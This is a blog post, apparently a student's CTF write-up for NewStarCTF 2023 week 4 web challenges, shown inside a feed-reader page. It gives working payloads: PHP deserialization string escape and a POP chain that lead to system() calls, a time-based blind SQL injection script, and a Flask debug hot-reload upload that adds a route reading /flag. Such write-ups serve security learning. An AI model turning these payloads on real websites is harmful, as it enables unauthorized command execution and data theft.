惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
Stack Overflow Blog
Stack Overflow Blog
Hugging Face - Blog
Hugging Face - Blog
博客园_首页
T
The Blog of Author Tim Ferriss
博客园 - 叶小钗
N
Netflix TechBlog - Medium
腾讯CDC
C
Check Point Blog
P
Proofpoint News Feed
Engineering at Meta
Engineering at Meta
GbyAI
GbyAI
S
SegmentFault 最新的问题
F
Fortinet All Blogs
美团技术团队
U
Unit 42
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园 - 司徒正美
F
Full Disclosure
Recorded Future
Recorded Future
D
DataBreaches.Net
博客园 - 【当耐特】
Martin Fowler
Martin Fowler
J
Java Code Geeks
I
InfoQ
Y
Y Combinator Blog
A
About on SuperTechFans
AI
AI
爱范儿
爱范儿
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Forbes - Security
Forbes - Security
W
WeLiveSecurity
M
MIT News - Artificial intelligence
雷峰网
雷峰网
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Simon Willison's Weblog
Simon Willison's Weblog
Schneier on Security
Schneier on Security
The GitHub Blog
The GitHub Blog
Security Archives - TechRepublic
Security Archives - TechRepublic
aimingoo的专栏
aimingoo的专栏
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
G
GRAHAM CLULEY
Know Your Adversary
Know Your Adversary
Latest news
Latest news
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
D
Docker
Recent Commits to openclaw:main
Recent Commits to openclaw:main
量子位
V2EX - 技术
V2EX - 技术
Project Zero
Project Zero

lazy_forever's Blog

GeekCTF 2024 Web WriteUp(全) Java反序列化CC链 记一次零基础IOT设备与app交互0day漏洞挖掘学习经历 2023 DataCon大数据安全分析竞赛 WriteUp NewStarCTF 2023-WEEK3 Web WriteUp NewStarCTF 2023-WEEK2 Web WriteUp NewStarCTF 2023-WEEK1 WriteUp 天津市大学生信息安全网络攻防大赛 [DASCTF 2023 & 0X401七月暑期挑战赛] MyPicDisk 使用hexo框架搭建github静态博客 My First Blog
NewStarCTF 2023-WEEK4 Web WriteUp
lazy_forever · 2023-11-05 · via lazy_forever's Blog

解题 4/7

打开容器,看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

明显的php反序列化逃逸,利用原理即使用大量的bad替换为good来逃逸php反序列化的字符数量标记

给出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function waf($str)
{
return str_replace("bad", "good", $str);
}

class GetFlag
{
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

$a = new GetFlag("badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad\";s:3:\"cmd\";s:4:\"cat /flag\";}");
echo waf(serialize($a));
//O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}

More Fast

开容器看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

看起来像是一个php的__destruct反序列化利用,但是注意到结尾处出现throw new Exception("Nope");强制跑出异常进入到gc垃圾回收模式。因此,我们需要在反序列化处触发异常提前进入垃圾回收模式,其中,触发异常的情况常见有几种:

  • 对象被unset()处理时,可以触发。
  • 数组对象为NULL时,可以触发。
  • 当输入的序列化对象格式不完整或不正确时,可以触发。

这里采用第三种方式绕过(当然,别的方式也可以正常绕过)

给出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
highlight_file(__FILE__);

class Start
{
public $errMsg;
public function __destruct()
{
die($this->errMsg);
}
}

class Pwn
{
public $obj;
public function __invoke()
{
$this->obj->evil();
}
public function evil()
{
phpinfo();
}
}

class Reverse
{
public $func;
public function __get($var)
{
($this->func)();
}
}

class Web
{
public $func = "system";
public $var = "ls";
public function evil()
{
if (!preg_match("/flag/i", $this->var)) {
($this->func)($this->var);
} else {
echo "Not Flag";
}
}
}

class Crypto
{
public $obj;
public function __toString()
{
$wel = $this->obj->good;
return "NewStar";
}
}

$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();

echo serialize($a);

得到的payload结尾删去一个反大括号即可。

midsql

打开容器看到sql源码

1
2
3
$cmd = "select name, price from items where id = ".$_REQUEST["id"];
$result = mysqli_fetch_all($result);
$result = $result[0];

测试一下,发现是数字注入但是没有回显,还禁用了几个字符。

使用延时注入方法,写个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28database%28%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'
url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28table_schema%29%2F**%2Ffrom%2F**%2Finformation_schema.tables%2F**%2Fwhere%2F**%2Ftable_name%2F**%2Flike%2F**%2F%27items%27%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'
url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28schema_name%29%2F**%2Ffrom%2F**%2Finformation_schema.schemata%2F**%2F%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'
flag=''
url1='http://f510f1ff-a866-49a0-81ac-821cf0393322.node4.buuoj.cn:81/?id=1%2f**%2fand%2f**%2fif%28ascii%28substr%28%28select%2f**%2fgroup_concat%28name%29%2F**%2Ffrom%2F**%2Fctf.items%29%2C{}%2C1%29%29<>{}%2C0%2Csleep%285%29%29'

temp_url=url1.format(1,0)
re=requests.get(temp_url)
print(re.text)

for i in range(1,100):
# print(i)
for j in range(32,126):
temp_url=url1.format(i,j)
try:
re=requests.get(temp_url,timeout=3)
#print(j)
except Exception:
flag+=chr(j)
print(chr(j),end='')
break

print('\n',flag)

得到flag

flask disk

打开容器,看到上传界面,上传一个空内容,发现python flask框架的debug模式没关,想到debug模式的热加载特性,直接上传一个app.py,加一个读flag的路由即可。

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from crypt import methods
from flask import Flask,request,send_file
import os,datetime
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'

@app.route('/list',methods=['GET'])
def list():
dirs = os.listdir('.')
items = ''
for dir in dirs:
if os.path.isfile(dir):
create_time = int(os.path.getctime(dir))
create_time = datetime.datetime.fromtimestamp(create_time)
item =f'</pre>{dir} {str(os.path.getsize(dir))}b {create_time}</pre><br><br>'
items += item
items += '\n'
return items

@app.route('/aa',methods=['GET'])
def aa():
os.system('cat /flag > /app/1.txt')
return 'os.system(a)'

@app.route('/upload',methods=['GET','POST'])
def upload():
if request.method == 'GET':
s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'
return s
elif request.method == 'POST':
file = request.files['file']
if '..' in file.filename or '/' in file.filename:
return '.. and / are not allowed!'

file.save(file.filename)
return 'upload success. <a href="/list">check</a>'

@app.route('/download',methods=['GET','POST'])
def download():
filename = request.args.get('filename')
if filename and os.path.exists(filename):
if '..' in filename or '/' in filename:
return '.. and / are not allowed!'
return send_file(filename,as_attachment=True)
else:
return 'no file to download or file not exist'

if __name__=='__main__':
app.run(host='0.0.0.0',debug=True,port=5000)

总结

难起来了,开始坐牢了。。。

贴个wp:https://shimo.im/docs/gXqmdVvbOEsXpo3o/read

顺便把第五周的也贴上了:https://shimo.im/docs/R3sGgZdrlyE6nL8T/read